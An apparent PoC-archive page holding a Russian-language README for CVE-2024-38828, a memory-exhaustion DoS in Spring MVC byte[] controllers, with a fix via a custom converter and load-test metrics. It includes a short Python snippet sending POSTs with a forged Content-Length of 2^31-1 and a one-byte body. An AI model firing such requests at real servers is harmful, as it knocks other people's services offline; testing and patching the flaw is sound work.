Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-38828 PoC — CVE-2024-38828: DoS via Spring MVC controller method with byte[] parameter

Source
Associated Vulnerability
Title:CVE-2024-38828: DoS via Spring MVC controller method with byte[] parameter (CVE-2024-38828)
Description:Spring MVC controller methods with an @RequestBody byte[] method parameter are vulnerable to a DoS attack.
Readme
# Уязвимость CVE-2024-38828

## Описание
Тест проверяет поведение/реакцию в Spring Framework при уязвимости CVE-2024-38828 и без нее.
В `ByteArrayHttpMessageConverter` аллоцируется память в `ByteArrayOutputStream` по заголовку запроса `Content-Length`
что может не соответсвовать реальности с телом в 0 байт. При резком росте таких запросов (DoS), память используется
неоптимально, появляются регулярные чистки GC и приложение начинает лагать. Покажу как это реализовать/исправить и метрики.

![Графики метрик](tests/results/результаты_теста.png)

## Описание уязвимости

CVE-2024-38828 - это уязвимость типа Denial of Service (DoS) в Spring Framework, которая позволяет атакующему вызвать исчерпание памяти на сервере через контроллер Spring MVC с параметром типа `byte[]`.

### Технические детали

- **Уязвимые версии**: Spring Framework 5.3.x (все версии)
- **Тип уязвимости**: Denial of Service (DoS)
- **Вектор атаки**: HTTP POST запросы с Content-Length = 2 ^ 31 - 1
- **Влияние**: Исчерпание памяти сервера, приводящее к отказу в обслуживании

## Решение

### Реализованный фикс

1. Создан кастомный `HttpMessageConverter` для обработки массивов байтов
2. Реализована проверка размера входящих данных
3. Использован потоковый подход для обработки больших payload'ов

## Тестирование

### Структура проекта

```
.
├── src/
│   └── main/
│       └── java/
│           └── me/
│               └── func/
│                   └── demo/
│                       ├── config/
│                       │   └── WebConfig.java
│                       ├── converter/
│                       │   └── SafeByteArrayHttpMessageConverter.java
│                       ├── controller/
│                       │   └── DemoController.java
│                       └── DemoApplication.java
├── tests/
│   ├── load_test.py
│   └── results/
│       ├── результаты_теста.png
│       └── метрики.json
└── README.md
```

## Параметры теста
- Количество запросов: 6000
- Максимальное количество одновременных запросов: 5
- Задержка между группами запросов: 0.1 секунды
- Размер запроса: 1 байт
- Заголовок Content-Length: 2^31 - 1 (максимальное значение для int)

## Код теста

```python
def send_request(url):
    try:
        response = requests.post(
            url,
            data=b'0',  # Минимальный payload
            headers={
                'Content-Type': 'application/octet-stream',
                'Content-Length': str(2**31 - 1)  # Максимальный размер
            }
        )
        return response.status_code, response.text
    except Exception as e:
        return f"Ошибка: {str(e)}", None
```

### Запуск тестов

1. Установите зависимости Python:
```bash
pip install -r requirements.txt
```

2. Запустите тест:
```bash
python tests/load_test.py
```

File Snapshot

[4.0K] /data/pocs/d1290b69bc1fa270fb8fd2d4cb825b18acae2af1 ├── [ 601] build.gradle.kts ├── [4.0K] gradle │   └── [4.0K] wrapper │   ├── [ 43K] gradle-wrapper.jar │   └── [ 251] gradle-wrapper.properties ├── [8.5K] gradlew ├── [2.9K] gradlew.bat ├── [3.8K] README.md ├── [ 63] requirements.txt ├── [ 36] settings.gradle.kts ├── [4.0K] src │   └── [4.0K] main │   └── [4.0K] java │   └── [4.0K] me │   └── [4.0K] func │   └── [4.0K] demo │   ├── [4.0K] config │   │   └── [ 800] WebConfig.java │   ├── [4.0K] controller │   │   └── [ 490] DemoController.java │   ├── [4.0K] converter │   │   └── [1.5K] SafeByteArrayHttpMessageConverter.java │   └── [ 372] DemoApplication.java └── [4.0K] tests ├── [ 17K] load_test.py └── [4.0K] results ├── [2.4M] метрики.json └── [417K] результаты_теста.png 13 directories, 15 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →